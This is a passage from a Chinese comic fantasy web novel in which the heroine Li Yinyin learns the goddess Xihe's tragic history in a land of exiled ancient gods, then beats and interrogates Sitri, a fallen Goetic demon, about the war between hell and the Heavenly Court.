“你什么都没有想起来?那你为什么会来这里?”原本很悠然的羲和也露出了困惑的表情。 李寅寅:“……” 我也想知道啊…… 黯淡的天空中,那道细缝还在发着幽幽白光。 解决尴尬的最好办法是转移话题:“那个缝里掉下来的红皮……是西方的地狱魔吗?” 羲和和其他的自然神的模样,像是被雷劈了。 沉默许久,羲和认命地担负起了解说重任:“炎黄大战之后,古神被人神夺去权位,你说要重塑古神威严,夺回女娲留下的权柄。在我们与天庭开战的时候,西方入侵,他们的神进入华夏,吸取华夏国运,致使神州陆沉,国运衰败。” 所谓的西方神入侵,就是十七十八世纪时,传教士大量入华,直至1840年,第一次鸦片战争开启。 羲和继续道:“后来,西方神与我们达成和解,并且离开华夏。但是,他们之中有一部分却留了下来,并趁虚而入。为首的那个,叫路西法,是自天庭堕落至地狱的堕落天使……” “哦,认识认识……”还挺熟的,李寅寅没少从米迦勒那里听与路西法相关的八卦。 不是这层关系,她之前也没法腆着脸找米迦勒帮忙。 现在路西法和撒旦搞不过上帝,听说中国人都没有信仰,想来东方的天庭已经势微,他们就趁势东进,意图在华夏做大做强,再创辉煌。 “他们难道不应该再过去一个时区吗?”李寅寅对路西法和撒旦的追求不是很懂。 不管是日还是韩,都自由奔放得很,中国管邪教管那么狠,混来混去,只能在农村和偏远的城市发展。 不像再往东一个时区,那里当做他们发家致富的龙兴之地可太适合了。 韩国连高层都玩这一套,“世越号”到底是什么情况,至今没有人能说清楚。 至于日本,他们那的邪教也玩得够大,很多人对“**”这种东西认知的初始来源就是奥姆教主。 多么肥沃的土地,培养教徒绝对比东北种大米还容易。 刑天的肚脐一张一合:“我拷问过那几个红皮,他们说那两个地方人口太少,不利于他们获得足够的信仰,反攻天庭。” 李寅寅:“……” 啥啥啥,还挑上了! 还追求起人口红利了! 第92章 羲和 吐槽归吐槽,就连李寅寅也不得不承认,人口多,确实是红利。 哪怕是穷人,那也是有消费需求的。 下沉市场也是市场。 搞诈骗的最喜欢人口基数大的地方,注册一千个账号,五百个账号说某支股票今天必涨,五百个账号说今天必跌。 不管怎么着,都有涨有跌,说错的五百个账号作废,说对的五百个账号继续预测。 最后,必然会有一个账号是连续X日,百发百中。 那个账号,会有“自来水”来跪求大神指点。 对于邪教来说,那就更简单容易了。 有个女神棍,假装自己能被各种大神附身,有孙中山,还有耶稣……孙中山说粤语倒也罢了,耶稣说的是英语! 只怕连耶稣都不知道自己的母语被调包了。 可是,有很多人,并不知道耶稣出生在哪里,更不知道耶稣的祖国说的是哪国话,连耶稣被钉死在哪儿都不知道,也不知道自己信的是什么教的什么宗,只知道是“拜上帝的”。 还是上帝的二儿子想得透彻,管你什么新教、天主教、东正教,什么路德宗、圣公会……人直接给起了一个名字,就叫“拜上帝教”,成效显著。 连小商人都知道的真理,当初最闪耀的晨星路西法和地狱魔王撒旦哪能不知道。 所以,他们来了。 而且,还是趁着华夏诸神与西来传教的天使们对打,防备力最虚弱的时候偷偷溜进来。 1840年,天使们跟着英国的坚船利炮来了。 1860年,第二次鸦片战争,顺便火烧圆明园,洋人传教士在中国过得还是很滋润,于是,教会想要加大传教力度,修教堂,收养孤儿,给穷人治病。 毕竟在欧洲和拉美,传教者都是这么干的。 连着天使们的力量也加强了许多。 1870年,不知从哪里出来的传说,说洋鬼子抓小孩,挖了眼睛、剖了心肝、剐了皮肉做祭祀和实验。 就在那一年的6月21日,“天津教案”爆发。 民众很恐慌,传教士们很委屈。 最后的处理结果是中国又哐哐往外赔白银,导致曾国藩和丁日昌受到攻击,被骂做汉奸和卖国贼。 信上帝的人还在信上帝,但是群情激奋带来的结果是还有一群数量庞大的人看到“洋鬼子”及他们的上帝就欲杀之而后快。 让绝大多数人口当上帝羔羊的梦想破灭,以米迦勒为首的天使军团与华夏天庭和解,米迦勒保证西方天堂不再激进扩张,东方天庭表示尊重人类在宗教上的自己选择权,想信什么信什么,想全信就全信,想都不信也可以。 其实当时双方愿意停战,也是因为都打不动了,当天使军团撤走的时候,天庭这里也已经元气大伤。 路西法和撒旦军团趁虚而入,想要夺取天庭,天庭上的众人一步不退,与入侵者死战。 只是天庭所在的维度是由祥和之气组成,要是下死手,天庭所在的空间会崩塌。 “所以,就扔到你们这里来处理了?”李寅寅觉得天庭太不地道了,把这里当垃圾处理场了吗? 在场众古神表情复杂地看着李寅寅,全场只有真·无脑的刑天超有勇气的说了一句真话:“还不是你的错!!!” “啊(第二声)……啊(第三声)……啊(第四声)……”李寅寅终于想起来了。 这流放古神之地,就是西王母创建出来关手下败将的。 那时,西王母是天庭之主,所以,她在天庭与流放地之间建了一个单向通行道,专门用来继续扔跟她作对的天神。 只是后来,西王母的神权被男性神取代,她被迫离开天庭,下降昆仑山,“垃圾通道”就被现任天帝利用上了。 所以,这里变成垃圾处理场,完全是…… 李寅寅看着尸块、鲜血,以及连泥土都被烧黑的大地,以及眼前这些浑身浴血的古神,莫名有些心虚。 心虚只存在了不到一秒。 虽然……自然神都说李寅寅就是西王母。 但是……只要她没想起来,这一切就都不存在! 李寅寅决定干一件有出息的事——转移话题! “都一百多年了,人间都稳定了,上头怎么还没打完,还不时有西方地狱魔掉下来?” 刑天将斧子往地上一跺,地面抖了一抖。 他的肚脐虽然不大,但是声量那是相当响亮:“因为天庭都是废物!如果是我!那个姓路的,要改姓足各,那个姓撒的,要改姓手散!” “很好!很有精神!”李寅寅鼓掌。 除了刑天的激情输出之外,没有人能回答李寅寅的问题。 从天庭到流放地的通道是单向的。 那些红皮地狱魔,本来就是被天庭扔下来的,早就应激了,见到这些华夏面貌的古神,根本就不说话,提着武器就是干。 结果就是死路一条,再也开不了口。 “哎……你们啊,下手就不能轻一点吗?一百多年了!一个活口都没有留下?真是!做事太莽撞了,不懂方式方法!以和为贵,轻拿轻放,这都不懂吗!” 李寅寅训完话,看见不远处的那座山,从那山的形状和高度来判断,那应该是用地狱魔的尸体堆成的京观。 那座山上倒是植被茂盛,满满一大片像鲜血、像烈焰的暗红色花朵。 “阿修罗花。”李寅寅一眼认出它。 这种花个大、芳香、鲜艳,成片盛开时,有一种特别的绮诡妖艳。 它是流放地唯一的正经植物,而不是什么树精、藤妖。 它完全没有思想意识,除了观赏价值之外,它还有一个超级实用的价值——食欲特别好,只要是能量体,不管是肉类做成的人,还是精神体组成的精怪,它都吃。 可以说,这么多年,这里是流亡之地,而不是尸臭冲天的垃圾场,它有着不可磨灭的功劳。 李寅寅都不得不佩服西王母想得周到,第一批扔下来的囚犯,都是活的。 活着的人想自己过好一点,就得动手处理垃圾,不然就得跟腐尸为伍。 就算他们不会得病,也会觉得味道不好闻、烂成一坨的肉不好看。 “上头把这些红皮扔下来之前,有跟你们打招呼吗?” 这个问题其实问了也是白问,怎么可能打招呼。 反正进了流放之地,就跑不出去,至于他们是能和谐共处,还是打成一团,最后的胜利者达成蛊王成就,都与天庭无关。 李寅寅摸摸下巴:“大概什么时候,会再掉红皮下来?” 刑天继续抢答:“一顿饭的功夫。” 一顿饭到底应该是多长时间? 李寅寅最快两分钟吃完一顿饭,双手左右开弓,往嘴里塞了四个夹着肉的馒头,几乎没怎么嚼就咽下去了。 最慢吃了三个时辰,六个小时,看人唱歌跳舞,交际应酬。 不过这里没有时间观念,也只能用“一顿饭”来衡量了。 万万没想到,他们真的开始做!饭!了! “你们,还要吃饭?”李寅寅不是很理解,自然力量汇聚成的古神那是绝对不用吃喝的,由人类精神化出的人格神,也是辟谷起步,哪有要吃饭的。 天然的地热成了绝佳烧烤地,刑天出去转了一圈,肩膀上扛着肥遗、狍鸮、领胡…… 李寅寅本以为他们的吃法应该是把这些鱼类、兽类往地热位置上一丢盖点土,熟了再扒出来,就结束了。 没想到,前面有祭祀仪式,后面有清洗、整理、切片切丝、腌渍风干等等一系列的环节。 其余众神摆桌的摆桌,放碗的放碗。 最后菜上桌,那真是字面意义上的食不厌精、脍不厌细,摆盘摆得那叫一个精致,又是花又是果。 冷色系、暖色系、撞色……有的菜端上来,李寅寅都看不出它的本体是什么。 “你们什么时候这么讲究了?”在李寅寅的记忆中,自然神们所在的时代,人类跟野兽差不多,还在菇毛饮血。 人格神所在的时代,也没好到哪里去,大鼎煮兽肉,蘸一点咸水当盐,掏蚂蚁窝,拿蚂蚁卵,或是摘一些酸果子当醋。 摆盘更是闻所未闻,都是一个大碗里面扔一大块肉,切成片,自己蘸酱吃。 这些几万年都没出去过的古神,什么时候会整这花活了? 羲和回答了她:“因为无聊。” 只有几个自然神出生于孤寂的无边黑暗中,比如羲和自己。 她生出太阳之前,世界一片黑暗。 羲和可以独自在黑暗中待很久很久,不说话、不动、不需要光。 “小黑屋”这种对她来说完全不是惩罚,而是一种常态。 但是,其他的自然神和人格神,都是生活在热热闹闹的天地间,要是没事做,就会全身难受。 不管干什么,总之,得干点什么。 就好像上大号的时候没带手机,没带书,手边沐浴露、洗发水瓶子上的说明都变得眉清目秀起来。 本来尸体散一地就散一地,他们无所谓。 实在无聊,就把尸体聚在了一起。 还是无聊,就把西王母当初留下的阿修罗花种在了尸体上。 本来不用吃东西的神们,实在无聊,就开始研究这里有哪些东西能吃。 还是无聊,就研究怎么好吃。 继续无聊,又研究进阶追求:色香味。 目前已经进阶到每道菜都得有个说法,有个意头。 甚至还出现了粗糙版的分子料理,把肉类打成泥,加上这个那个的调料,最后再还原成那个动物生前的样子。 能把鳞片爪甲胡须毛发一并还原的是至高境界。 李寅寅拿着手上那串用龙蚳肉仿制的鬼车鸟烤串,心情复杂:“……你们,不会还有厨艺大赛吧……” “那是什么?是胜利者可以吃掉失败者的活动吗?” 李寅寅大概介绍了一下,主要走的是《地狱厨师》路线,各位古神们听得很认真,看得出来,他们真的动心了。 这些只知打打杀杀的神祇们,居然…… 可见果然是真·闲极无聊…… 也就是这边材料不够,不然他们现在说不定进行第十次工业革命了。 想想一群古神开着歼星舰上天庭,高呼:“叫那玉帝老儿出来!” 还是挺有意思的。 李寅寅微笑着咬了一口烤肉,她微笑着偷偷把肉用树叶包好,藏进口袋。 悄悄溜到阿修罗花旁,把整串肉都扔了进去。 她早该想到,用硫磺地火烤出来的串,能是什么正经味道。 吃饱喝足,就有人进来活动活动消消食,跳舞、角力、唱歌……李寅寅沉默地看着,有一种熟悉的感觉,嗯……是春节联欢晚会。 闲着没事和衣食无忧,果然是娱乐事业发展的沃土。 毕竟,就连创世神女娲捏小泥人的初衷也是因为无聊。 以及,女娲也用实际行动告诉后人:当娱乐变成了工作,就连创世神也受不了。 她从认真捏小泥人,变成了用藤蔓蘸着泥巴水甩泥点子。 她厌倦工作的速度其实还蛮快的,飞快进入甩泥点子的状态。 不然美貌也不能成为稀缺资源,不管哪朝哪代,不管男人女人,只要拥有绝世美貌加任意一个技能都是无敌的存在。 李寅寅给古神们说起外面世界的娱乐事业,并由衷夸赞他们虽然身在门内,却几乎没有跟门外脱节,不愧是神灵,素质就是高。 坐着一圈的神们听得很开心,并商议应该怎么改进他们现在的娱乐项目。 只有羲和安静地与李寅寅坐在一起。 这个能够忍受长久孤独的古神就好像与他们隔着一道隔音玻璃,只是静静的看着,李寅寅注意到她一点东西都没有吃。 “你怎么不和他们一起玩?”李寅寅好奇,在此前的相处中,李寅寅觉得羲和应该不是一个特孤僻特冷漠,谁都不想搭理的高冷神,毕竟她是太阳的母亲,就神格上来说,应该是个热烈灿烂的性子。 “我……不敢。”羲和淡淡地说。 “为什么?怕被他们吃了?”李寅寅开玩笑,这些自然神和人格神有谁能与太阳之母相提并论啊,在这里,能打得过她的神,屈指……不数……好像没有谁能打得过太阳的母亲。 如果是以武力值排序的话,她绝对是这里的顶流。 羲和看着李寅寅一脸好奇的模样,无奈轻笑:“你真的不记得了……我告诉你也无妨,反正,你迟早也得知道。” 在一片黑暗的宇宙中,出现了一点星尘的种子,慢慢的,它变成了羲和,羲和独自一人度过了不知道多少时光,终于,又有了一点星尘飘进了她的体内,不久之后,感到了天地之间的炎气在自己体内涌动,就此生出了十个太阳。 “他们不会说话,只会眼巴巴地看着我,我要走开,他们就一起扑过来,抱住我的腿,不让我走。我向他们笑一笑,他们马上也会跟着笑起来,我一板起脸,他们就惊恐不安…… 我一个人过了那么久,其实很无所谓了,一开始还觉得他们很烦人。 后来习惯了,如果他们忙着自己玩没有看见我,没有马上跑过来抱着我,我心里反而会些不舒服。” 羲和冷冰冰的脸上,浮现出一丝温柔的笑意。 “宇宙中的星尘越来越多,凝结成了不同的星星,我的孩子们想要看看这颗沸腾的星球,我便带着他们来了。我们亲眼看见大地冷却、被海水覆盖、长出第一根草、开出第一朵花…… 我的孩子们精心呵护着这些生命,他们轮流看护着这颗星星。 女娲自宇宙风暴中诞生,她也来到了这颗星星,用原始的泥土,捏出了人类……她专门为我捏了一个俊秀的男人,是希望他能陪我说话,陪我跟孩子们一起玩。 没想到,我竟然真的爱上了这个泥人。” 后面的故事,李寅寅知道,这个泥人的名字,叫帝俊,是黄帝的始祖。 他是女娲送给羲和的礼物,东方世界的第一个男人。 他每天陪着化身成三足金乌的小太阳们在大地上蹦蹦跳跳,哄得小太阳们特别开心。 可是,泥人也是有寿命的,眼看着帝俊一天天的衰老,小太阳们十分悲伤,羲和也很难过。 终于,在帝俊就要断气的时候,羲和忍不住,赋予了他与天地同寿的力量。 她本以为,自己就能与帝俊和孩子们永远快乐的生活在一起。 可是,帝俊却生出了别的心思。 做有权者的附庸,不如自己掌权,傻缺才会把自己的身家富贵寄望于别的生命上。 帝俊总是有意无意地告诉十个太阳:你们是天地化生,生而自由,想干嘛就干嘛。 以及,他做了有十个调的小哨子,每只小金乌的腿上都绑着一个,飞起来,有着不同的声音。 他把这件事告诉了十个小太阳,还告诉他们,十个哨子可以编成不同的曲子,很好听的,他们可以试试。 尽管羲和曾多次告诫小太阳们,千万不可以同时出来,天无二日!两个太阳在一起都不行。 但是……谁家孩子没有做过违背母亲的事情。 十只金乌齐齐飞上天,他们欢笑着、打闹着、把音阶排列组合,尝试不同的曲调。 根本舍不得下来。 人间河流干涸,庄稼一片焦枯。 人类在祭典上哭求也好,骂骂咧咧也罢,哪怕是捏了金乌像,再用鞭子抽,都对小太阳们根本没有影响。 沉浸在快乐之中的小金乌们根本就不知道,下面忍无可忍的人类,要弑神了! 神射手——羿,对着天空搭弓射箭,那些箭枝飞不了多高,就无奈地落回大地。 小金乌们都知道他,以为他在玩耍,他们会主动凑到他的头顶飞来飞去,让他听听他们新谱出的哨曲。 终于有一天,羿射向天空的箭没有落回大地,而是射穿了金乌的胸口。 一只、两只……九只…… 灿烂的金乌在天空中熄灭,陨落。 羲和平静地说着自己孩子的死亡,眼里却是掩饰不住的怨恨。 “羿只是一个普通人类,他怎么能杀得了我的孩子,我想为我的孩子收敛尸体,却发现他们身上的箭被拔走了……他以为,拔走了箭,我就什么都不知道了……那三棱倒勾箭头……还是我亲手为他打磨的。 射死我孩子的箭,是我亲手为帝俊所制。 是帝俊,把箭送给羿,杀死了我的孩子。” 羲和不爱出门,只喜欢在汤谷和孩子们待在一起,人类见不到她,对她的所有想象和认知,都来自于帝俊。 不知道什么时候开始,她的神格,已经被帝俊在人间广为传播为“太阳之母”,人们看见羲和,只会想到她是太阳的母亲,如今,十日去其九,太阳之母的神格被削弱到只剩下一成。 帝俊又借着他与羲和的关系,让人们接受了他是太阳的父亲,仰望他,崇拜他。 他的神格被女娲神息创造的人类加持,不断抬升。 夏商周三朝的上古人类皆认定帝俊是初代天帝,而羲和是天帝之妻。 至战国时,帝俊授意人类在《六韬·大明》之中,捏造了一个创世大神盘古,那时的人还比较内敛,不敢造次,只敢提一嘴“盘古之宗,不可动也,动者必凶。” 到秦汉,盘古忽然就升格成了创世大神,他死后,左眼化为太阳,右眼化为月亮。 浑然不顾那只左眼变成的太阳,为什么会突然之间会冒出了十个。 为了将羲和一笔抹消,帝俊企图连羿射九日之功都弃了。 不过,男人的功绩,怎么会这么容易消失。 “后羿射日”的故事,自古流传至今,数千年了,只在到底是“大羿”还是“后羿”之间,出现了一点小小的BUG,相对于太阳他妈直接换人的抹杀水平,这种名字略有小误差,根本不算什么。 而月亮之母常羲,变成了常仪,又变成了姮娥,最后变成嫦娥,神格彻底消失,直接配人了。 “你疼惜常羲,将仙药赠予她,让她离开后羿吗?”羲和悲伤地看着李寅寅:“你怎么会一点都记不起来了呢?” 李寅寅此时也不坚持自己是白虎的设定了,问道:“可是,我不是把药给后羿的吗?我怎么会知道她一定会吃。” 羲和坚定道:“她一定会吃的。她本是从你体内分出的一缕太阴之气所化,她有什么想法,你都知道。” 李寅寅肉没吃一口,瓜吃了好大一个。 羲和失权的过程,与现在很多女孩子一样,刚毕业的时候满心宏图大志,然后,结婚,为了照顾家庭,尽量不接有挑战性的工作,等有了孩子,所有的社交软件上都改成了“XX妈妈”,配着孩子的头像。 这个故事,让李寅寅感到非常不适。 不是新生出来的感觉,而是有一种很有以前就对此不满,并且想为此改变一些什么的冲动。 李寅寅伸手支着下巴:“我有一个想法……天庭到现在还没闹完……不会是我暗中安排了什么吧……咱们这么熟了,你要不帮我想想,我可能会安排什么?” 羲和温柔又无奈地看着她,什么都没说,就像在看一个满地打滚无理取闹的孩子。 李寅寅把左手换了右手,又用右手换了左手,还是想不起来,忽然,她感觉有风从头上来,她抬头向穹顶上那道银白色细线望去。 不知道是不是错觉,她好像看到细线抖了一下。 紧接着,连绵不绝的巨响自天空中炸开,天空中先是下起了血雨,接着,黑云翻滚,无数道紫色天雷轰然而下,电光再次织成了铺天盖地的网,那道电网,是防止落进流放地的神魔返身回天庭的重要道具。 只能过去,不能回来,单向锁死。 从电网中,开始不断有黑色的物体落下,先是很多红皮的地狱恶魔。 接着,掉下来一个怪东西。 看起来,初具人形。 但肩膀上架着的是一个豹子的脑袋,背后生着一双黑色的羽翼。 别的恶魔都是横七竖八的栽下来,只有他在刚进入“垃圾通道”的时候动作不那么优雅,没多久,他就马上调整了自己的姿势,最后以一个大张着羽翼的滑翔状态,脚尖轻轻点地,优雅降落。 第93章 所罗门魔神 李寅寅站在一边,沉默地看着它。 这个看不出性别的东西,降落姿势很美,只是落地的时候,似乎小小的有些站不稳,它的脸上身上都有伤口和淤青,至少被七八件不同的武器招呼过。 能被这么多神追着打,可见身份不俗。 只是不知道它是谁,如果苏灵衣在这里,也许他脑子里的资料库能搜着。 在李寅寅观察它的时候,它也在观察着四周。 借着惨白的电光,它初步判断: 那些如山一般壮硕的女人不好惹,看她们的胳膊,看她们的手掌,好像能捏熄太阳,抓着月亮当球扔。 那些长得青面獠牙的生物也不好惹,也许有毒,碰着伤,磕着死。 一众古神之中,它挑中了李寅寅。 虽然李寅寅的人形在追求白瘦幼的时代距离标准审美有相当的距离,但是与古神们相比,实在差得十万八千里。 看起来纤弱、娇小、脆弱、一吹就倒,欺负她完全不需要有任何负担,就算她敢反抗,也不过是轻轻的挠几下,根本不会对它造成任何实际伤害。 打定主意,它展开双翅,扇起一阵狂风,向李寅寅扑去。 李寅寅内心狂喜:它果然是这堆地狱魔里最强的,真有眼光,知道她代表着华夏大地上的顶尖武力。 强者,只向更强者挑战! 做为武德充沛的神,要给这位值得尊敬的对手最高礼遇:尽全力去他一战。 豹头鸱翼的生物越飞越近,见李寅寅一动不动,确信自己没选错对手:这个弱鸡已经被吓傻了,即不做出应战姿势,也不企图逃跑,傻乎乎地站在那里等着挨打。 它忽然看见李寅寅的脸上露出一丝笑容,一定是想要求饶,所以才会笑。 只是这个笑,怎么跟它以前见过的不一样,不够谄媚,不够讨好……一定是她的能力问题,连求饶都不会。 不过,就冲她这么懂事,知道服软求饶,它可以给她一个活命的机会,把她俘虏之后,带在身边,随时满足它的需要。 它伸出手臂,对着李寅寅的咽喉用力按下去。 不出意外的话,很快就可以看到这个女人痛苦地窒息,虽然她已经露出了求饶的笑容,不过,它更喜欢听别人的哀求,那种掌握别人命运的感觉,非常美妙。 李寅寅有些不满,这玩意儿,怎么没有一丁点战略战术,就这么直直地冲过来?莫不是看不起我? 转念一想,可能它的力量相当强大,所谓“一力降十会”,它根本不需要任何花哨技巧,就能战胜对手。 更有趣了! 当它逼近时,李寅寅手中白虎银枪陡然出现在手中,锃亮的枪头反射出熊熊地火的红光,仿佛已经被鲜血浸透。 “噗呲!” 枪头正正插进它的胸口,从它的后背穿出,黑紫色的魔血正成股的从它体内流出,顺着枪尖滴落,血滴落在地面的瞬间就被高温蒸发,变成一股淡黑色的气体,散发出淡淡的硫磺味。 豹头上的那双眼睛不可置信地睁圆,接着,它便软软地摔在地上。 李寅寅:“???!!!” 不是……我这就是一个虚招啊! 发生什么事了? 按照李寅寅的想法,她先假装正面攻击,它一定会闪躲,或是拿出防身护盾硬扛。 她已经准备好了后手,从左边、右边和上面三个方向进行二次攻击。 包括应该如何破盾,或是绕开护盾。 她至少准备了五种战术,十个后手,以及无数的及时应变方案。 李寅寅不相信会这么简单。 众所周知,跳崖不会死还能捡宝,捅穿心脏也有可能心脏长在另一边,死透了还能把魂追回来,身体灰飞烟灭还能夺别人的舍…… 绝对有诈!!! 豹头人已经倒在地上气息奄奄,李寅寅将它的身体扳过来,让它正对着自己,她一脚踩在豹头人胸口,蹲下身子,冷冷地看着它:“你到底是什么身份?!” “哼。”豹头人恶狠狠地瞪着李寅寅。 李寅寅抬手就对着豹头人的脸抽了一巴掌:“说不说!” …… 红皮地狱魔数量虽多,但实力远不及古神们,很快就被剿灭一空,尸体被扔在京观上,成为阿修罗花的养料。 连战场都清理干净了,众神还能听到噼里啪啦的声音,转头一看,李寅寅坐在一个豹头鹰翼的怪物身上,来回抽他巴掌:“说不说!说不说!” 连凶神杌梼都看不下去了:“你倒是问啊?” “我问了啊!问它到底是什么身份,它就哼唧了两声,骨头真硬!”说着,李寅寅又踩了它一脚:“再不说,我就把你一块一块的拆开!” “呜呜呜呜……呜呜嘻嘻……” 李寅寅指着怪兽:“它真嚣张,还嘻嘻。” “等等,嘻嘻有没有可能,是它的名字?”羲和问道,“刑天刚开始用肚脐说话的时候,很多字的发音也不清楚。” 如果不是在流放之地,李寅寅可以直接读取它脑中的思想,也不至于要这么费劲,想到这,她越发不开心了,又踹了豹头一脚:“又丑又菜,不会说话也不会写字,废物。” 豹头似乎愣了一下,想起了什么,它的身体慢慢发生变化,鹰翼收拢消失,豹头也变成了人脸,以人类的判断标准而言,是一个相当俊美,雌雄莫辨的模样。 它张开口,也是一个清朗的少年音,分不出性别。 “你竟敢对我无礼!你可知我是谁!” 李寅寅想都没想,抬脚就踹:“你还问我,你以为我揍了你这么久,是为了什么!” “住手!别打了!哎哟!我说我说!我叫西迪,是所罗门七十二柱魔神第12席!” “早说也不会变成这样!”李寅寅又踹了他一脚。 西迪惨叫:“为什么又打我!” 李寅寅笑笑:“这是滞纳金。” 西迪被完全制住,动弹不得,只能硬挨这一下。 他原以为李寅寅是这里最好欺负的,谁能想到,她不仅能打,还超凶,早知道应该选那个全身发金光,身材高大的女神,气质上更温和一点,看起来可能是家室之神、灶台女神。 李寅寅坐在一旁的石头上,微笑看着他:“从现在开始,我问一句,你答一句,我能听见你的真实想法,不要企图骗我。如果打死你也不说,我就真的把你打死,反正我不缺你这么一个舌头,明天还会有新的掉下来,我可以换别人问。” 西迪连连点头。 “你是来干嘛的?” “想换个环境。” 李寅寅对着他的脑袋猛敲一记:“不要避重就轻!” 西迪哭丧着脸:“地狱的日子太难受了,住得不舒服,我们想到更舒服的地方。” “你们的数量到底有多少?为什么一百多年了还没有打完?” “魔神级的不多,就几百个,那些……”他转头看了一眼京观,“它们是使魔,莉莉丝大人每天能生出几千个。” 李寅寅皱眉:“……现生的啊?” 连生了十个太阳的羲和都皱起了眉头,就算神祇生子不疼,天天无所事事,只能在一个小屋子里生生生,这成什么了? 那个莉莉丝就这么喜欢生孩子? 虽然听起来很奇怪,但是这不重要,尊重他人习俗,知道使魔的来源就好。 李寅寅又继续问:“你们打了一百多年都没打下来,就不想收兵回家吗?” 如果是人类的战争,到最后就是在烧后勤,人的生产力和生产资源是有限的,到最后,如果实在赢不了,那就握手言和,两边罢兵。 魔神战争则没这么大的压力……或者说,看起来,现在唯一有压力的就是负责提供“燃料”的莉莉丝。 其实李寅寅这个问题不难回答,西迪却露出了为难的表情,整整两秒没说话。 李寅寅活动了一下手腕,西迪大叫:“我说,我说!” 他也不想这么没面子,他身为七十二柱魔神,就连所罗门王也只能把他关起来,而不能弄死他。 谁知道,在这里,他居然拥有了从未体验过的“痛觉”,要是在天上打的时候,他就已经有了痛觉,他早跑了,地狱条件不好,但是他过得舒服啊。 西迪吸溜了一下鼻子:“我们已经占了一块地方,虽然地方不大,不过,比起地狱来说,条件已经强多了……” “什么地方?” “就是……”西迪又面露难色,看见李寅寅的眼神,他连忙大叫:“不是我不说啊,是我不知道怎么说……有一块地方,除了你们之外,还有另外一群神,跟你们长得不一样,他们一会儿来,一会儿走……我不知道那是什么地方。” 李寅寅想了想:“那里是不是有一座很高的雪山?” “啊对对对!几个月前,那里不知道发生什么事,原本占据在那里的神,是个女神,突然带着她的军队走了,我们就召唤了更多的领主级神魔,驻扎在那里。” 李寅寅:“……” 敢情她前几个月跟迦梨、难近母打得要死要活,是帮他们让出空间,帮他们腾地方了。 ……好想打他…… ……算了,算了…… 西迪看着李寅寅的表情几番变幻,不知道她到底在想什么,只能可怜巴巴地缩成一团:“我说得都是真话。” “嗯……”李寅寅又露出笑脸:“咱们继续。” 后来的问题很简单,无非是最高统帅是谁,有什么技能…… 不出意外的是路西法和撒旦,技能也就那些,没什么特别。 最后一个问题是“是你们把人间通向天庭的通道弄坏的吗?” “不是!绝对不是!就连巴尔也做不到,是东方天庭的人自己干的!” 西迪生怕李寅寅大怒暴起,把他给宰了,把他所知的真相吐出来。 “哦。”李寅寅对天庭这么操作也不是不能理解,天庭的精神体们受人间信仰数值和疯狂程度的影响很大。 狂信徒人数很少,但都特别疯——这种信仰在华夏大地上一般会被称之为邪教,土壤在偏远地区。 狂信徒人数很多,特别疯——这种会影响人王政权的大型信仰团体,古有“三武灭佛”,稍近一些的天理、白莲在明清基本被扫荡光了。 正常人很多,但很平和,且与人王关系不错——大家都能活得不错,比如佛道两家。 平时再怎么不信不信的年轻人,初一十五去这宫那观,这寺那庙,烧香磕头的年轻人一堆一堆。 人少且平和……这种称之为冷圈,偶尔会出现“一人镇天下”的局面,信徒们会饥渴地哭求“太太,求画详细”“太太,求描写更多”“太太,求神剪辑”。 偶尔来一个拥有技能的新人,她们会狂欢“太好了,是新太太,我们有救了!” 如果不斩断天庭与人间的精神联结,很难说撒旦路西法及其同党们会不会也向人类展示一下神迹,让人类死心塌地的愿意信仰他们。 邪恶而肮脏的金钱什么的自不必说,连钱都搞不来的恶魔还是别混了。 人类最爱的魅魔也是地狱那头的。 无性别的清纯天使,和妖娆的魅魔相比,明显还是后者想要让人类臣服更容易得手一点。 当魅魔睡服了人类,人类齐唰唰地忠诚于魔王,天上的战争就没法打了。 还不如一刀切,就像流亡地这样,大家都没法力,能打成什么样,全凭天生地长的原始力量。 不管是不是天庭的自主行为,总之,先甩锅是不会错的。 “原来就是你们,害我现在在这里。”李寅寅看着西迪,“你现在已经没有用了……不如……谁还没吃饱?这有一长翅膀的豹子,再来两口。” 古神和人格神都已经不想吃了。 地位低下,且对食物有需求的魔兽们,刚才还没有吃饱就被天上掉下的恶魔打断,如今早就饿了。 它们迫不及待地围了上来,伸出长舌,露出垂涎欲滴的模样。 西迪:“……” 他这具美丽的身体,以前不管是用来应付敌人,还是用来迷惑信徒,无往不利,就连低阶天使都会不忍下手。 看着他流口水,只是一种形容词,一种态度。 可是,这些魔兽是真的想吃了他。 西迪从未受过如此打击,身在这种黑暗如地狱之处的人,怎么可能无视他的美貌,还居然要吃了他。 “等一下!你们!你们!你们不是说优待俘虏吗!”西迪不知从哪儿摸出一个小本本,用生硬的中文高喊:“缴枪不杀,优待俘虏,坦白从宽,抗拒从严!” 小本本的封皮都掉了,纸张泛黄,也不知道这是什么年代、谁留下的遗产。 李寅寅:“……” 她抬头看了一圈古神和人格神:“你们有谁是党员吗?” 这些神祇们连党员是什么都不知道,一起茫然地看着她。 李寅寅冲着西迪笑笑:“不巧,我也不是,对不起了,我们这里的每块地方,都已经有主,并且不对外出租。” 话音刚落,白虎银枪的枪尖就已经抵在了西迪的咽喉上,一股绝对不是开玩笑,或是试探性的力道贯注枪尖,西迪已经感觉到自己的喉咙要破了。 “啊,有用,我有用!”西迪竭尽全力大叫,“我知道打了一百多年的真正原因。” “不就是你们人多但是菜,只能当填线宝宝么?” “是你们的天庭也无法彻底杀死我们,只能把我们推下来。有一个带头的……好像叫什么母娘,她每次都冲在最前面,现在她的力量也几乎消耗怠尽,我勾引了她座下的一个侍女……啊,别打我别打我……那个侍女说,天庭要汪汪拿最后的武器……” 西迪说到这,心虚地抬头看了一眼李寅寅,见她没有动手想打人的冲动,便继续往下说:“听说用了那个之后,母娘和她的人就没地方住了,被我睡过的那个女人不想离开她现在住的地方……她希望能与我在一起,并帮我们抢先获得胜利……痛痛痛……这不是我魅惑她,是她主动提出来的,还出了好几个主意,她还说能帮我下毒……” “谁这么有出息?”李寅寅对这个一身反骨的侍女很有兴趣,不管是西王母座下,还是西白虎座下,养出这么一个想毒死主上的侍女,都有点匪夷所思。 “我……没问……啊啊啊,我想起来了,她头上长着一对鹿角!” “鹿?”李寅寅只认识南极仙翁的鹿、朱雀星天的属下张月鹿,还有西游记里那上死得可惨可惨的鹿力大仙。 “她说能下毒,你是怎么说的?” “我……你能先保证不打我吗?”西迪实在是被李寅寅打怕了,她心狠、手辣、说打就打,打得特别疼,跟鹿女在床上撒娇的“小拳拳锤你胸口”完全不一样。 李寅寅猜到他也说不出什么好话,先帮他定了个基调:“你除了说太棒了,咱们一起干!把整个天庭的人全毒死……还说了什么?” “啊……我没说要跟她一起干,我说祝她成功……” 